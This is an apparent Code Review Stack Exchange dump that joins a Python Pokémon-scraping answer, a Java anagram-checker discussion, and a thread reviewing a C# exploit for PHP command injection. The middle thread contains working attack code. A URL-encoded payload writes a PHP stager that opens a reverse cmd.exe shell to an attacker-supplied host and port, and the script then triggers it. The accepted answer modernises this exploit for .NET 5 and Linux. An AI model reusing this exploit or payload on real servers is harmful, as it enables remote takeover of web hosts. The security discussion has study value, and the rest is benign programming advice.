"body": "<ul>\n<li>Not having any idea what <code>lh</code> is, I can't recommend using it over BeautifulSoup</li>\n<li>Your main guard is a good start, but you should write some actual methods</li>\n<li>Use <code>https</code> unless you have a really, really, really good reason</li>\n<li>Don't blindly attempt to convert every single cell to an integer - you know which ones should and should not have ints so use that knowledge to your advantage</li>\n<li>Never <code>except/pass</code></li>\n<li>The table does not have jagged cells, so use of a proper selector will not need your length-ten check</li>\n<li>Don't use j-indexing into the rows - just iterate over search results. Also, selecting only rows in the <code>tbody</code> will obviate your one-row index skip</li>\n<li>Don't capitalize local variables like <code>Dict</code></li>\n<li>Consider using the data's <code>#</code> as the dataframe index</li>\n</ul>\n<h2>Suggested</h2>\n<pre><code>from typing import Iterable, Dict, Any\n\nimport pandas as pd\nimport requests\nfrom bs4 import Tag, BeautifulSoup\n\n\ndef get_page_rows() -> Iterable[Dict[str, Tag]]:\n with requests.get('https://pokemondb.net/pokedex/all') as resp:\n resp.raise_for_status()\n doc = BeautifulSoup(resp.text, 'lxml')\n\n table = doc.select_one('table#pokedex')\n heads = [th.text for th in table.select('thead th')]\n\n for row in table.select('tbody tr'):\n yield dict(zip(heads, row.find_all('td')))\n\n\ndef tags_to_dict(row: Dict[str, Tag]) -> Dict[str, Any]:\n data = {\n k: int(row[k].text)\n for k in (\n # Skip Total - it's a computed column\n 'HP', 'Attack', 'Defense', 'Sp. Atk', 'Sp. Def', 'Speed',\n )\n }\n data.update((k, row[k].text) for k in ('#', 'Name'))\n\n return data\n\n\nif __name__ == '__main__':\n df = pd.DataFrame.from_records(\n (tags_to_dict(row) for row in get_page_rows()),\n index='#',\n )\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T03:26:47.153",
"Id": "263713",
"ParentId": "263671",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T15:29:15.147",
"Id": "263671",
"Score": "3",
"Tags": [
"python",
"web-scraping",
"pandas",
"pokemon"
],
"Title": "Collect Pokémon from a URL and store them in a dataframe"
}
|
263671
|
<p>Back in 2016, I wrote a simple C# script that exploits a generic command injection vulnerability on PHP webapps, just for the sake of demonstrating that exploits can be written in .NET languages (due to the perceived lack of exploits written in C#). The script is a bit buggy, but works for PoC purposes. I wrote <a href="https://archive.ph/XQXgn" rel="nofollow noreferrer">a blog post</a> (on my old blog) discussing my experience writing this.</p>
<p>So here are some themes regarding feedback that I'm looking for:</p>
<ol>
<li>This script works as a PoC and functions under certain conditions and assumptions, but crashes when they are not met (iirc if the URL doesn't exist, the script crashes). How would you go about fixing this?</li>
<li>What is my coding style like? Any better ways of writing this out?</li>
<li>If I'm not mistaken, the runtime complexity of this programme is O(n) where "n" is the number of parsed segments of the target URL (correct me if I'm wrong though). Can you recommend any way to optimise the code?</li>
</ol>
<p>Feel free to throw any feedback my way. The script works in a .NET 4.0 environment and can easily be compiled with <code>csc</code>.</p>
<p>Here is the programme (with some comments stripped out):</p>
<pre><code>using System;
using System.IO;
using System.Net;
class Exploit {
private const string useragent = "Googlebot/2.1 (+http://www.googlebot.com/bot.html)";
private static void PrintHelp(){
Console.WriteLine("=======================================================================");
Console.WriteLine("= Generic PHP Remote Code Execution Exploit");
Console.WriteLine("= \Written by Aleksey (github.com/Alekseyyy)");
Console.WriteLine("= \n= Exploits (windows-based) PHP Remote Code Execution bug to execute");
Console.WriteLine("= a reverse, simple, interactive connect-back shell.\n= ");
Console.WriteLine("= Run like: exploit.exe <SCRIPT> <LHOST> <LPORT>");
Console.WriteLine("= ");
Console.WriteLine("= \t<SCRIPT> is the vulnerable script (with the parameter)");
Console.WriteLine("= \t<LHOST> is the IP address (or DNS address) of the machine");
Console.WriteLine("= \t\trecieving the connect-back shell");
Console.WriteLine("= \t<LPORT> is the listening port for the connect back shell");
Console.WriteLine("=======================================================================\n\n");
}
public static void Main(string[] args){
if (args.Length != 3) {
PrintHelp();
Environment.Exit(-1);
}
Console.WriteLine("[*] Building the injection vector...");
string payload = "%62%6c%61%68%26%65%63%68%6f%20%22%3c%3f%70%68%70%20%24%73%6f%63%6b";
payload = payload + "%3d%66%73%6f%63%6b%6f%70%65%6e%28%22{0}%22%2c{1}%29%3b%65%78%65";
payload = payload + "%63%28%22%63%6d%64%2e%65%78%65%22%29%3b%20%3f%3e%22%20%3e%20%73";
payload = payload + "%74%61%67%65%72%2e%70%68%70";
string injection = String.Format(payload, args[1], args[2]);
Console.WriteLine("[*] Sending the exploit...");
string attack = args[0] + injection;
WebRequest injectrequest = WebRequest.Create(attack);
injectrequest.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)injectrequest).UserAgent = useragent;
WebResponse injectresponse = injectrequest.GetResponse();
if ((((HttpWebResponse)injectresponse).StatusDescription) == "OK") {
Console.WriteLine("[+] Successful exploitation, you should recieve a shell shortly...");
Uri parsestageruri = new Uri(args[0]);
string stager = "http://" + parsestageruri.Authority;
for (int i = 0; i < parsestageruri.Segments.Length - 1; i++)
stager = stager + parsestageruri.Segments[i];
stager = stager + "stager.php";
WebRequest stagerrequest = WebRequest.Create(stager);
stagerrequest.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)stagerrequest).UserAgent = useragent;
stagerrequest.GetResponse();
Environment.Exit(0);
}
else {
Console.WriteLine("[-] Failed to inject 'reverse' shell...");
Environment.Exit(-1);
}
}
}
</code></pre>
<p>You can read more about it on my old blog: <a href="https://archive.ph/XQXgn" rel="nofollow noreferrer">https://archive.ph/XQXgn</a></p>
<p>and you can get the full exploit here: <a href="https://github.com/Alekseyyy/InfoSec/blob/master/exploits/generic_php_cmdinject.cs" rel="nofollow noreferrer">https://github.com/Alekseyyy/InfoSec/blob/master/exploits/generic_php_cmdinject.cs</a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T22:47:42.840",
"Id": "520689",
"Score": "1",
"body": "Yeah @aepot you did. Sorry I'm new to this :P"
}
] |
[
{
"body": "<p>.NET Framework 4.0 is something ancient. WebRequest is deprecated. <code>async/await</code> now actual for the I/O-bound operations.</p>\n<p>Let's update the code.</p>\n<ul>\n<li>.NET 5</li>\n<li><code>HttpClient</code> - asynchronous client to interact with web</li>\n<li><code>StringBuilder</code> to build strings faster than concatenate it</li>\n<li><code>int</code>-returning <code>Main</code> to pass exit code instead of <code>Environment.Exit</code></li>\n<li><code>async Task Main</code> to use <code>await</code></li>\n<li><code>payload</code> can be a constant</li>\n<li><code>args</code> can be merged in a single <code>string.Format</code></li>\n<li>throwing Exceptions to indicate a failure</li>\n<li>correctly <code>using</code> <code>IDisposable</code> objects</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>using System;\nusing System.Net.Http;\nusing System.Text;\nusing System.Threading.Tasks;\n\nclass Exploit\n{\n private const string userAgent = "Googlebot/2.1 (+http://www.googlebot.com/bot.html)";\n\n private static void PrintHelp()\n {\n Console.WriteLine("=======================================================================");\n Console.WriteLine("= Generic PHP Remote Code Execution Exploit");\n Console.WriteLine("= Written by Aleksey (github.com/Alekseyyy)");\n Console.WriteLine("= \\n= Exploits (windows-based) PHP Remote Code Execution bug to execute");\n Console.WriteLine("= a reverse, simple, interactive connect-back shell.\\n= ");\n Console.WriteLine("= Run like: exploit.exe <SCRIPT> <LHOST> <LPORT>");\n Console.WriteLine("= ");\n Console.WriteLine("= \\t<SCRIPT> is the vulnerable script (with the parameter)");\n Console.WriteLine("= \\t<LHOST> is the IP address (or DNS address) of the machine");\n Console.WriteLine("= \\t\\trecieving the connect-back shell");\n Console.WriteLine("= \\t<LPORT> is the listening port for the connect back shell");\n Console.WriteLine("=======================================================================\\n\\n");\n }\n\n public static async Task<int> Main(string[] args)\n {\n if (args.Length != 3)\n {\n PrintHelp();\n return -1;\n }\n\n Console.WriteLine("[*] Building the injection vector...");\n const string payload = "{0}%62%6c%61%68%26%65%63%68%6f%20%22%3c%3f%70%68%70%20%24%73%6f%63%6b"\n + "%3d%66%73%6f%63%6b%6f%70%65%6e%28%22{1}%22%2c{2}%29%3b%65%78%65"\n + "%63%28%22%63%6d%64%2e%65%78%65%22%29%3b%20%3f%3e%22%20%3e%20%73"\n + "%74%61%67%65%72%2e%70%68%70";\n string attack = string.Format(payload, args[0], args[1], args[2]);\n\n Console.WriteLine("[*] Sending the exploit...");\n using HttpClient client = new HttpClient(new HttpClientHandler { UseDefaultCredentials = true });\n client.DefaultRequestHeaders.UserAgent.ParseAdd(userAgent);\n try\n {\n StringBuilder sb = new StringBuilder("http://");\n using (var response = await client.GetAsync(attack))\n {\n response.EnsureSuccessStatusCode();\n Console.WriteLine("[+] Successful exploitation, you should recieve a shell shortly...");\n Uri parseStagerUri = new Uri(args[0]);\n sb.Append(parseStagerUri.Authority);\n for (int i = 0; i < parseStagerUri.Segments.Length - 1; i++)\n sb.Append(parseStagerUri.Segments[i]);\n sb.Append("stager.php");\n }\n using (var response = await client.GetAsync(sb.ToString()))\n {\n return 0;\n }\n }\n catch (Exception ex)\n {\n Console.WriteLine($"[-] Failed to inject 'reverse' shell: {ex.Message}");\n return -1;\n }\n }\n}\n</code></pre>\n<p>Now it can be easily compiled and work even on Linux.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T17:22:35.240",
"Id": "263676",
"ParentId": "263672",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263676",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T15:54:19.867",
"Id": "263672",
"Score": "2",
"Tags": [
"c#",
".net",
"security"
],
"Title": "A simple C# script that exploits PHP command injections"
}
|
263672
|
<p>My code passes all the given test cases.
I would like to know a better way to to write the code.
Such as a more efficient algorithm for checking if two strings are anagrams.</p>
<pre><code>import java.io.* ;
import java.util.* ;
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
String str1 = input.nextLine().toLowerCase();
String str2 = input.nextLine().toLowerCase();
char[] temp = str1.toCharArray(); Arrays.sort(temp);
str1 = new String(temp);
temp = str2.toCharArray(); Arrays.sort(temp);
str2 = new String(temp);
if(str1.equals(str2) == true) System.out.println("Anagrams");
else System.out.println("Not Anagrams");
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:17:01.497",
"Id": "520673",
"Score": "1",
"body": "To review the __efficiency and correctness__ of your code, I'd like to __clarify on limitations__ and see some test-cases (whitespace, words only, sentence with punctuation, ASCII or broader charsets). The interpretation of [anagrams](https://en.wikipedia.org/wiki/Anagram) may vary I suppose."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:23:23.250",
"Id": "520675",
"Score": "1",
"body": "Welcome to Code Review Akshay Reddy. Please do not update the code in your question to incorporate feedback from answers, doing so goes against the question and answer style of Code Review. Please see [what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:30:52.140",
"Id": "520679",
"Score": "0",
"body": "@Peilonrayz Sure, I'll avoid changes to my question! Instead I'll answer to my own question and make changes there!"
}
] |
[
{
"body": "<h3>One line - one statement</h3>\n<p>This will make the code more readable.</p>\n<pre><code>temp = str2.toCharArray();\nArrays.sort(temp);\nstr2 = new String(temp);\n \nif(str1.equals(str2) == true) \n System.out.println("Anagrams");\nelse \n System.out.println("Not Anagrams");\n</code></pre>\n<h3>Separate logic and input/output</h3>\n<p>This look much cleaner:</p>\n<pre><code>public static void main(String[] args) {\n Scanner input = new Scanner(System.in);\n\n String str1 = input.nextLine().toLowerCase();\n String str2 = input.nextLine().toLowerCase();\n\n if(isAnagram(str1, str2))\n System.out.println("Anagrams");\n else \n System.out.println("Not Anagrams");\n}\nbool isAnagram(String s1, String s2) {...}\n</code></pre>\n<p>All the logic is in isAnagram function; it doesn't mix with input/output and can potentionally be reused in other projects.</p>\n<h3>Be careful with Unicode</h3>\n<p>If you are using non-ASCII characters, the effects of toLowerCase/toUpperCase and breaking into characters can be unexpected, like "ß".toUpperCase() producing "SS" or "á" being two characters. I'll assume you're using ASCII character set.</p>\n<h3>Use Arrays.equals</h3>\n<p>Arrays.equals method can compare arrays, so you can avoid gathering arrays back in strings.</p>\n<h3>Algorithm</h3>\n<p>To compare to strings for being anagrams, you need to find every symbol of one string in another (naive algorithm will give <span class=\"math-container\">\\$O(n^2)\\$</span>), and sorting makes it faster (<span class=\"math-container\">\\$O(n log(n))\\$</span>).\nCould it be even faster? Maybe - if you choose the proper sorting algorithm. If you're using ASCII characters only and words are long enough (tens of characters), <a href=\"https://en.wikipedia.org/wiki/Counting_sort\" rel=\"nofollow noreferrer\">counting sort</a> will allow you to exchange some memory for speed. You don't even need to recreate a sorted sequence - just:</p>\n<ol>\n<li>compare lengths</li>\n<li>add the number of characters in the first string</li>\n<li>subtract the number of characters in the second string, if you ever get a negative value - the strings are not anagrams.</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T15:42:45.643",
"Id": "520654",
"Score": "7",
"body": "`isAnagrams` should either be `isAnagram` (is x an anagram of y) or `areAnagrams` (are these words anagrams of each other). `isAnagrams` isn't valid English grammar. >.<"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T15:47:05.503",
"Id": "520655",
"Score": "0",
"body": "Thanks @PeterCordes, fixed!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T18:09:08.600",
"Id": "520659",
"Score": "1",
"body": "You can squeeze out O(n) if you build a histogram of each word (mapping characters to their counts) in linear time, then doing a linear time hashmap equality comparison. But in practice, the memory/allocation overhead of all the objects involved in prosecuting a HashMap ends up drowning out any theoretical asymptotic benefit because real words are very short."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:27:48.980",
"Id": "520676",
"Score": "0",
"body": "@Alexander: You don't need a *hash* map if the character-set is narrow enough (e.g. 7-bit ASCII), which makes the method a lot more likely to be worth it for as few as ~20 characters. This answer already suggests an improvement on your method, histogramming char counts into an array for one string, then decrementing for the other string, giving you an early-out as well as O(N) worst-case. And just one memory allocation, for an array of 256 `int` elements (or even 16 or 8-bit to make zero-init and all-zero-check cheaper, if the input string is <256 chars so can't overflow a bucket)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:27:53.823",
"Id": "520677",
"Score": "0",
"body": "@Alexander A simpler method would be to just create an array of 26 int counters, since you know there's only a limited number of values each letter can be (ignoring whitespace and other non-letters, and being case-insensitive). You'd add up the letters for one word, then subtract them for the other, then check that all counters = 0. Quick and easy. Less overhead than a hashmap and probably faster since we only need 1 small, predictable bit of memory allocation. (Edit: derp, sniped...)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:30:20.877",
"Id": "520678",
"Score": "0",
"body": "@PeterCordes true, but any definition of a character that *isnt* at least as comprehensive as a Unicode extended grapheme cluster should just be considered flat ***wrong*** in this age. Users would expect a string containing a single emoji to be a palindrome"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:36:09.267",
"Id": "520681",
"Score": "1",
"body": "@Alexander: Ok, then I guess you should post an answer explaining that `toCharArray` / `sort` is broken for the general case of Unicode. Note that it's relatively speedy to check a UTF-8 (or a UTF-16) string for not having any multi-byte characters, or optimistically start with that assumption for long strings and convert your 128-entry array to a HashMap only if you encounter a larger character. (At least it's speedy if you can get the runtime to use SIMD to check 16 bytes at a time, i.e. just OR string data together and check at the end if any bits outside the low 7 are set.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T20:19:17.110",
"Id": "520683",
"Score": "0",
"body": "Oooo I didn’t realize toCharArray is also broken. Is there even a Java standard library API for grapheme cluster breaking? Your fast-pathing suggestion is a good call!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T00:40:15.847",
"Id": "520694",
"Score": "0",
"body": "@PeterCordes I didn't get into a full solution, but I did a small write-up here: https://codereview.stackexchange.com/a/263709/49674 In essence, it's just a pre-processing step whose output could then be used with any of the other algorithms discussed here"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T04:45:10.233",
"Id": "263689",
"ParentId": "263674",
"Score": "6"
}
},
{
"body": "<p>Sure.</p>\n<ul>\n<li>Create a table of all possible characters (as we talk unicode today, this should not really be a <em>table</em> but rather a hash map or the like.)</li>\n<li>Pass over string 1, recording the character count in the table (i.e. increment the count for each character you encounter.)</li>\n<li>Pass over string 2, decreasing the character count in the table for each character you encounter</li>\n<li>If all counts are zero, you have an anagram.</li>\n</ul>\n<p>If we assume input length is <span class=\"math-container\">\\$n\\$</span> and the table size is <span class=\"math-container\">\\$m\\$</span> you'll have two passes of <span class=\"math-container\">\\$m\\$</span> for table initialization and evaluation plus two passes of <span class=\"math-container\">\\$n\\$</span> for the string, which comes down to <span class=\"math-container\">\\$O(n+m)\\$</span>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T05:26:43.610",
"Id": "263690",
"ParentId": "263674",
"Score": "6"
}
},
{
"body": "<h3>Provide Context</h3>\n<p>Explain what it does in a meaningful <strong>method name</strong> and JavaDoc comment (in your question as well)</p>\n<p>Example:</p>\n<pre class=\"lang-java prettyprint-override\"><code>/**\n * Test if both words are anagrams to each other.\n * <p>Works for lowercase ASCII only.\n * \n * word non-blank lowercase word (may have spaces inside)\n * otherWord ...\n * return true if word is anagram of otherWord, false else \n */\npublic static boolean areAnagrams(String word, String otherWord) {\n // check if anagrams\n return true;\n // if not\n return false;\n}\n</code></pre>\n<p>What the method signature reveals to the code reader already:</p>\n<ul>\n<li><code>public</code> so he can use it</li>\n<li><code>static</code> behaviour does not depend on class state (each execution is determined by parameters only)</li>\n<li><code>boolean</code> return signals a kind of test-function, that can be used in if-statments, etc.</li>\n<li><code>areAnagrams</code> tells what it does (Java-naming convention for boolean tests is prefixing with <code>is</code>, <code>are</code>, <code>has</code>, etc.)</li>\n</ul>\n<p>The JavaDoc explains limitations and should also list expected parameters and what is returned when, or what Exception is thrown when errors occur.</p>\n<h3>Naming</h3>\n<ul>\n<li>method: should tell the caller immediately what it does (<code>main</code> is not a catch-all container)</li>\n<li>variable: <code>str1</code>, <code>str2</code> tell nothing about their purpose (like <code>inputLine</code> or <code>potentialAnagram</code>. <code>temp</code> is even worse (what's in it, where comes from). <code>input</code> is misleading, because it's a <code>scanner</code> to look and extract <em>input</em> from later.</li>\n</ul>\n<h3>Separation of Concerns</h3>\n<ul>\n<li>UI and business-logic should always be separated: text input/output is one concern (class or method) to find similarly in many applications; logic (find anagrams, test and calculate result) are another concern to focus on with domain knowledge;</li>\n</ul>\n<p>Why separate (benefits)?</p>\n<p>Both can be developed/maintained/adapted/exchanged separately and by different persons simultaneously. They are glued together and aimed to fit like a puzzle by "contract" or design.\nHere for example: (a) the input provided to logic should always be 2 strings (arbitrary length, non-blank, etc.); whereas the output to the user should be a descriptive message in 2 variants for is-anagram or is-not..; (b) the logic accepts two strings and returns a boolean; (c) the UI-layer should validate input and reject invalid like two empty string; (d) the UI-layer should also convert response from logic like boolean to an output message (it may use the input like "Given line 1 'Ana' and 2 'Gram' are NO anagrams")</p>\n<hr />\n<p>These 3 categories are just to ease code reading and understanding.\nStill they may lead to better problem thinking, improve design and optimize implementation.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T15:38:52.450",
"Id": "520651",
"Score": "2",
"body": "It's one function that takes 2 strings. Short numbered var names are appropriate here. The function name already tells you what the strings vars are. `potentialAnagram1` / `potentialAnagram2` would just be more typing for no increase in clarity. Like if you had a function that did `return x*y`, I wouldn't say it would be better if the vars were called `multiplicandX` and `multiplicandY`. Tiny functions with few variables are one of the few cases where it's ok to give up on meaningful names."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T15:40:09.007",
"Id": "520652",
"Score": "0",
"body": "Your choice of `word` and `otherWord` is ok and does remind users that it should be a single word, though, so that's good. I'd prefer `word1` and `word2`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T18:44:20.610",
"Id": "520665",
"Score": "0",
"body": "I think `str1` and `str2` are fine here. It's just comparing two arbitrary strings, there's nothing more to them. Using `word` in the name suggests that they can't contain punctuation, or they should be actual words in some language, etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T18:56:24.683",
"Id": "520669",
"Score": "0",
"body": "@PeterCordes Thanks a bunch for the endorsement and adding your preference. Often in naming [__numerical-suffixes__ can be smelly](https://hilton.org.uk/blog/naming-smells#numeric-suffixes), so I recommend especially beginners to __practice (overly) honest meaningful names__ (see [`compareTo(String anotherString)`](https://docs.oracle.com/javase/7/docs/api/java/lang/String.html#compareTo(java.lang.String)), unless in rare cases where __order__ required as additional qualifier (see [`compare(o1, o2)`](https://docs.oracle.com/javase/8/docs/api/java/util/Comparator.html#compare-T-T-))."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:16:15.760",
"Id": "520672",
"Score": "1",
"body": "*can be* smelly yes, like in that example you linked where it's `employee` vs. `employee2`, and there *is* some semantic difference between them so more meaningful names are possible. Notice that I suggested `word1` and `word2`, not `word` and `word2`. I think `foo` / `anotherFoo` is actually worse because it implies one has to be the \"reference\" or original, not just two interchangeable operands, and they're different lengths so the same code repeated for both variables will potentially look more different than it needs to."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:20:23.957",
"Id": "520674",
"Score": "1",
"body": "(1 vs. 2 could unfortunately imply order, but I think that's the lesser of two evils here. This function is commutative, but hopefully that's understood as inherent from how anagrams work. In old C code, it was common to use `p` and `q` for `char*` strings, e.g. for implementing `strcmp` or something which has the same kind of naming problem as here. `p` and `q` are the string-pointer equivalent of `i`, `j`, `k` loop counter variables. I wouldn't actually suggest using those names in Java code, but it's interesting that that older coding style solved this problem cleanly.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T19:52:26.077",
"Id": "520682",
"Score": "0",
"body": "Actually, `a` and `b` would be perfect names for the only two interchangeable arguments to a function, as there is no additional info to pack into the name."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T06:05:09.737",
"Id": "263692",
"ParentId": "263674",
"Score": "7"
}
},
{
"body": "<p>Consider whitespace and symbols. Do you want "parliament" and "partial men" to match? How about "Internet Anagram Server" and "I, Rearrangement Servant"?</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T17:43:12.383",
"Id": "263702",
"ParentId": "263674",
"Score": "4"
}
},
{
"body": "<p>My Code, After few changes made according to fellow user's valuable comments...</p>\n<p>Previously my code was able to check only words, now it can able to check (Whitespace, Words only, Sentence with Punctuation). I added the <code>trim()</code> method to both the anagrams strings in the code.</p>\n<pre><code>static boolean isAnagram(String x, String y) {\n char[] temp = x.toLowerCase().toCharArray();\n Arrays.sort(temp);\n x = new String(temp);\n \n temp = y.toLowerCase().toCharArray();\n Arrays.sort(temp);\n y = new String(temp);\n \n return x.trim().equals(y.trim());\n}\n\npublic static void main(String[] args) {\n Scanner in = new Scanner(System.in);\n \n if(isAnagram(in.nextLine(), in.nextLine()))\n System.out.println("Anagrams");\n else \n System.out.println("Not Anagrams");\n}\n</code></pre>\n<p>I can't use <code>Arrays.equals()</code> method as I can't trim character array, also I can't use <code>equalsIgnoreCase()</code> just to avoid <code>toLowerCase()</code> as it fails in case like <code>Parliament</code> and <code>partial men</code>.</p>\n<p>If the above words are given to program input, the line goes like this\n<code>if("Paaeilmnrt".trim().equalsIgnoreCase(" aaeilmnprt".trim())</code> which results in false.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T20:36:38.807",
"Id": "520684",
"Score": "2",
"body": "OK. Which review advice did you incorporate and would suggest to future visitors.? At least __encapsulation__ into a function would make it __easy to test__ and reuse/interchange implementation in the future. A test would reveal missing input-validation since passing 2 empty or same-length blank strings results in _equality_ and outputs \"Anagrams\". Could merge `toLowerCase` + `equals` to [`equalsIgnoreCase`](https://docs.oracle.com/javase/8/docs/api/java/lang/String.html#equalsIgnoreCase-java.lang.String-)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T00:46:02.660",
"Id": "520695",
"Score": "0",
"body": "This doesn't appear to have any of the efficiency or separation ideas suggested in other answers. e.g. still converting back to Strings instead of `Arrays.equals` from Pavlo's answer. The only change appears to be avoiding putting 2 statements on one line, and handling whitespace with `trim`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T00:48:18.113",
"Id": "520696",
"Score": "0",
"body": "@hc_dev: Unless your sort is case-insensitive, you need to convert to a uniform case before sorting, so I don't think `equalsIgnoreCase` would work. (And you don't want to have to convert back to strings in the first place, that's pointless extra work). Otherwise good suggestion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T00:49:29.357",
"Id": "520697",
"Score": "1",
"body": "@hc_dev: Why wouldn't the empty string be an anagram of itself? Both strings have the same set of visible characters, the empty set."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T12:45:41.493",
"Id": "520723",
"Score": "1",
"body": "@PeterCordes, Does an empty string has visible characters (consider `length() == 0`) and is `\"\"` really a valid anagram? AFAIK: Anagram is rearranged characters. If no characters, then no rearrangement. For same reason I would see a single character String also invalid _subject_ for an anagram."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T17:29:54.150",
"Id": "520731",
"Score": "1",
"body": "@hc_dev: Semantic / English definition arguments like that are separate from checking whether the strings use the same set of letters, which is what this function *really* does. \n You could rename it `sameVisibleCharacters` if you want to limit its responsibility to just what it currently does, leaving it up to the caller to decide whether degenerate cases \"don't count\". Palindrome checkers would normally return true for single-letter inputs, and probably the empty string, even though those are trivial. I guess if you want to reject <= 1 char after whitespace filtering, it makes sense here."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T20:01:59.480",
"Id": "263705",
"ParentId": "263674",
"Score": "0"
}
},
{
"body": "<p>You fell into an often-overlooked trap, which makes your program useless to most of the world. It assumes that one <code>char</code> is one "character" (as users would understand it). Here's where that goes wrong:</p>\n<pre><code>\n\nAnagrams\n</code></pre>\n<p>The first input is the flag of Bulgaria, and the second is the flag of Great Britain. You see, there isn't actually a dedicated Unicode code point for every flag. Instead, there are 26 <a href=\"https://en.wikipedia.org/wiki/Regional_indicator_symbol\" rel=\"nofollow noreferrer\"><em>regional indicator symbols</em></a>, one for each of the 26 English letters. These are combined into <a href=\"https://en.wikipedia.org/wiki/ISO_3166-2\" rel=\"nofollow noreferrer\">ISO 3166-2</a> 2-letter country codes. In this case, <code>"[B][G]"</code> and <code>"[G][B]"</code>. It's then the system's responsibility to identify these country codes, and present a single glyph which shows the latest flag for that country code.</p>\n<p>Your program considers these to be anagrams. It would fail in similar spectacular ways for skin-tone-modified emojis, family emojis, many non-latin alphabets (including popular ones like Chinese).</p>\n<p>The solution is to operate on the level of "Unicode Extended Grapheme Clusters" rather than <code>chars</code> (which model Unicode scalars). This is the closest thing to a human's understanding of "characters", accounting for things like emoji families, flags, characters with accent modifiers applied to them, and so on. It's not a perfect match, but it's pretty close.</p>\n<p>This code snippet from <a href=\"https://stackoverflow.com/a/42315487/3141234\">this answer</a> looks like a pretty promising way to decompose a string into its constituent EGCs:</p>\n<pre><code>String[] extendedGraphemeClusters = inputString.codePoints()\n .mapToObj(cp -> new String(Character.toChars(cp)))\n .toArray(size -> new String[size]);\n</code></pre>\n<p>You could then use this <code>extendedGraphemeClusters</code> array of strings (where each string is really just an EGC) as the input to the various algorithms discussed in the other answers. E.g. you can use that array with the sorting approach you used originally. Rather than sorting the characters with the input string, you would sort the strings (modeling EGCs) in the array (which models the EGCs of the input string).</p>\n<p>You could also use the <code>HashMap</code> based approach with it, just the same.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T00:39:13.427",
"Id": "263709",
"ParentId": "263674",
"Score": "3"
}
},
{
"body": "<p>Add a check of length comparison before sorting. When length of both strings are not same then it should just return false. This will save you on sorting of string performance especially for large input strings.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T17:14:22.647",
"Id": "520852",
"Score": "1",
"body": "Great aspect: that pre-condition allows for fail-fast return."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:20:53.953",
"Id": "263732",
"ParentId": "263674",
"Score": "3"
}
},
{
